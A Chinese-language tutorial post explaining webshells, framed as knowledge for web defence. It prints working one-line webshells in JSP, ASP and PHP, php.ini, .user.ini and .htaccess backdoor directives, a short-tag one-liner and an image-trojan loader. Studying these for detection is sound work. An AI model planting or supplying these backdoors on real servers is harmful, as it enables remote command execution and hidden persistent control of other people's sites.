1、什么是webshell

webshell是web入侵的脚本攻击工具。

简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

为了更好理解webshell我们学习两个概念:

 什么是“木马”?

“木马”全称是“特洛伊木马(Trojan<BR>Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。

在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

什么是后门?

大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

    webshell的优点

webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

2、webshell的原理

①可执行脚本

HTTP数据包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)

②数据传递

③执行传递的数据

a.直接执行(eval、system、passthru等)

b.文件包含执行(include、require等)

c.动态函数执行($a="phpinfo";$a();)

d.Curly Syntax执行(${‘ls’})

e.preg_replace(第一个参数存在’/e’)

f.ob_start函数

g.回调函数(array_map等)

h.反序列化(unserialize等)

3、webshell的分类

①根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它) 
②根据脚本名称分类:jsp、asp、aspx、php

jsp的简单的webshell:

1

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

1

success!!!!<%eval request("cmd")%>

php的简单的webshell:

1

2

3

4

<?php

    $a=exec($_GET["input"]);    

    echo $a;

?>

4、webshell的常见类型

①php.ini隐藏后门

1

2

auto_prepend_file="/tmp/caidao.php"

auto_append_file="/tmp/caidao.php"

这两种都是相当于在php脚本头部include。 
注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。

②.htaccess构成php后门

1

2

3

4

5

<FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php

SetHandler application/x-httpd-php

</FilesMatch>

1

2

3

4

5

php_flag engine

AddHandler(AddHander php5-script .logs)

AddType application/x-httpd-php .png

SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)

php_value auto_append_file /tmp/caidao.php

③user.ini隐藏后门(不需重启)

除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。

1

2

auto_prepend_file="/tmp/caidao.php"  相当于在php脚本头部include

auto_append_file="/tmp/caidao.php"   相当于在php脚本底部include

④PHP代码开启标志缩写

将php.ini的short_open_tag参数设为On

1

<?=($_=@$_GET[2]).@$_($_GET[1])?>

⑤图片木马

1

2

3

4

<?php

    $wp__theme_icon=create_function('',file_get_contents('hacker.gif'));    

    $wp__theme_icon();

?>

注:这种方法不允许图片中有非法数据。

只有了解了webshell的特点,才能已最小的代价高效的做好web防御。

什么事webshell?相关推荐

  1. 作为一个测试人需要知道的安全测试

    1. 什么是安全测试(Security Testing)? 在所有类型的软件测试中,安全测试可以被认为是最重要的测试之一,其主要目的是在任何软件(Web或基于网络)的应用程序中找到漏洞,并保护其数据免 ...

  2. 我与网站的日常-webshell命令执行

    本文比较基础,其中有一个知识点关于php执行系统命令的函数 ,我们用最简单的webshell来说说传值问题的影响, 本文作者: i春秋签约作家--屌丝绅士 0×01前言:     小表弟又来写文章了, ...

  3. WEBSHELL跳板REDUH使用说明

    原文链接: http://www.fendou.info/network/webshell-proxy-reduh.html reDuh是可以把内网服务器的端口通过http或https隧道转发到本机, ...

  4. WEBSHELL恶意代码批量提取清除工具

    场景 使用D盾扫描到WEBSHELL后可以导出有路径的文本文件. 最后手动去把WEBSHELL复制到桌面然后以文件路径命名,挨个删除. D盾界面是这样的. 手动一个个找WEBSHELL并且改名效率太低 ...

  5. 从Webshell到肉鸡

    从Webshell到肉鸡 S.S.F simeon    我一直都在强调一个东西,在网络攻防中最重要的就是思维,本文的灵感来自于安天365团队的一个篇稿件,在稿件中提到了一个AspxSpy的Asp.n ...

  6. 2021年中国工业互联网安全大赛核能行业赛道writeup之Webshell密码

    附件题:Webshell密码 题目描述: 某次攻防演练中,抓到了一个webshell的流量,请分析出密码,flag形式:flag{密码} 附件下载: https://download.csdn.net ...

  7. 一次完整的从webshell到域控的探索之路

    前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里. 于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求. 今天小菜我本着所有师傅们无私分享的精 ...

  8. 一线技术管理者究竟在管什么事?

    来自:新亮笔记 概述 上篇文章<一个人被提拔,不仅仅是能力,而是信任> 中分享了两个点: 什么样的工程师,容易被提拔? 当被提拔到一线管理者后,你的初衷是什么? 这篇文章分享 一线技术管理 ...

  9. php带帽接口_利用php自包含特性上传webshell

    0x00 前言 今天做到一题道来自百度杯十二月第四场的ctf题,题目名字叫blog 进阶篇,当时没做出来,看了writeup才知道竟然还有这种骚操作来上传文件进行包含. 0x01 题目复现 前面的解题 ...

最新文章

  1. 【Scala-spark.mlib】通过Maven工程导入Mlib库
  2. R语言画形状—直线、矩形、多边形等
  3. Android setOnPageChangeListener 过时了怎么办?
  4. 计算机视觉与深度学习 | 使用MATLAB实现图像SURF特征的提取与匹配以及目标定位(代码类)
  5. TP-Link无线网卡一对多的桥接
  6. 新闻发布系统类图_如何熟悉一个系统?(内含知识大图)
  7. mysql的Innodb为什么使用B+树
  8. Deep Learning of Binary Hash Codes for Fast Image Retrieval(代码跑通了)
  9. 理论篇-地图学与GIS制图的基础理论(一)
  10. html中文网页设计作品
  11. Windows找不到合适的打印机驱动程序
  12. air应用接入移动mm弱联网平台
  13. [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
  14. waterfall 上拉加载 下拉刷新
  15. html 搜索历史记录,使用cookie实现历史搜索记录功能
  16. JAVA制作QQ空间点赞_仿QQ空间点赞列表的实现【原创】
  17. Unity UGUI 字体加粗特效
  18. Woed渐变背景怎么设置?word渐变填充在哪里?
  19. ct与x光的哪个辐射大_X光和CT,哪个辐射大?这些数字,医生可能并没告诉你
  20. fect:基于面板数据的因果推断(上)

热门文章

  1. SAS学习之建立数据集
  2. layui二级联动php,简单的layui二级联动
  3. realvnc viewer安卓下载,realvnc viewer安卓下载工具加使用方法
  4. ADOBE ACROBAT XI PRO MULTI MACOSX-XFORCE
  5. adams优化设计移动副_副车架多学科优化及轻量化优化设计
  6. 台式电脑出厂编号怎么查_如何查看电脑出厂日期_如何查看电脑出厂编号
  7. 有趣的三扇门问题(Monty Hall Problem)
  8. 服务器端动态网站开发技术,动态服务器端网页,active server page,音标,读音,翻译,英文例句,英语词典...
  9. 服务器系统重装后anaconda3安装以及环境配置
  10. 10 OpenCV图像识别之人脸追踪